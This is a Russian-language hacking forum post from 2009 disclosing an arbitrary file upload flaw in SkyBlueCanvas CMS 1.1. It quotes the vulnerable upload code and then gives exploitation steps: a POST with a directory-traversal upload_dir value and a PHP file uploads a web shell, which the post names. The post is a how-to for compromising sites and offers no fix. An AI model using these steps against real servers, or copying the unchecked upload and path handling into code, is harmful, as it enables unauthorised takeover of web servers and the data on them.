Показать сообщение отдельно

  #280  
Старый 23.12.2009, 22:22
m0Hze
Он хакер.
Регистрация: 01.11.2008
Сообщений: 1,756
С нами: 9223466

Репутация: 3171


По умолчанию

Product: SkyBlueCanvas
Author: www.skybluecanvas.com
Version: 1.1

Upload-ShellCode

File: /wym/image.upload.php
PHP код:
if (isset($_FILES['upload']) && !empty($_FILES['upload']['name'])) {

    
$file = $_FILES['upload'];
    
$dest = $_POST['upload_dir'];
    
$ini = FileSystem::read_config(
        
"../" . SB_MANAGERS_DIR . "media/config.php"
    
);
    
$types = array();
    if (isset(
$ini['mimes'])) {
        
$types = $ini['mimes'];
    }
    
    
$targets = FileSystem::list_dirs(SB_MEDIA_DIR);
    
array_push($targets, SB_DOWNLOADS_DIR);
    
array_push($targets, SB_UPLOADS_DIR);
    
array_push($targets, ACTIVE_SKIN_DIR . "images/");
    
    list(
$exitCode, $newfile) = $Core->UploadFile($file, $dest, $types, 5000000, $targets);
    
    if (
$exitCode == 1) {
        
$success = true;
        
$message = '<div class="msg-success-small"><h2>Success!</h2></div>';
    }
    else {
        
$message = '<div class="msg-error-small"><h2>An unknown error occurred</h2></div>'; 
    }
} 
Нас интересует: list($exitCode, $newfile) = $Core->UploadFile($file, $dest, $types, 5000000, $targets);

File: /include/core.php
PHP код:
    function UploadFile($file, $dest, $allowtypes, $maxsize=5000000, $targets=array()) {
        
$Uploader = new Uploader($allowtypes, $targets);
        return 
$Uploader->upload($file, $dest);
    } 
$Uploader->upload($file, $dest);

File: /include/uploader.php
PHP код:
function upload($file, $dest) {

        if (
$dest{strlen($dest)-1} != '/') $dest .= '/';
        
        
$fname = $file['name'];
        
$ftype = trim($file['type']);
        
$fsize = $file['size'];
        
$newfile = null;

        if (
$fsize > $this->max_size) {
            
$exitCode = 7;
        } 
        else if (
$fsize > $this->free_space) {
            
$exitCode = 8;
        }
        else if (!
in_array($ftype, $this->types)) {
            
$exitCode = 4;
        }
        else if (!
in_array($dest, $this->targets)) {
            
$exitCode = 4;
        }
        else {
            
$newfile = $dest.$fname;
                
            
$max = 100;
            
$ticker = 0;
            while (
file_exists($newfile) && $ticker < $max) {
                
$ticker++;
                
$bits = explode('.', $fname);
                
$ext = $bits[count($bits)-1];
                
$base = implode('.', array_slice($bits, 0, -1));
                
$newfile = $dest."$base.$ticker.$ext";
            }
            
            if (
is_uploaded_file($file['tmp_name'])) {
                
$exitCode = move_uploaded_file($file['tmp_name'], $newfile);
            }
            else {
                
$exitCode = 0;
            }
        }
        return array(
$exitCode, $newfile);
    } 
Ну вот и добрались до сути.
Target: Из-за того,что файл целевой файл(image.upload.php) просто открываеться в браузере,не происходит установки разрешеных к аплоаду расширений файлов.Так что просто отсылаем файл и POST- запрос:
upload_dir=../../
Колво ../ подъемов по ФС может быть сколько душе угодно,все зависит от настроек сервера,и где лежит сама ЦМС.В итоге заимеем шелл с названием:
Отсылали: shell.php
Получили: shell..php
 
Ответить с цитированием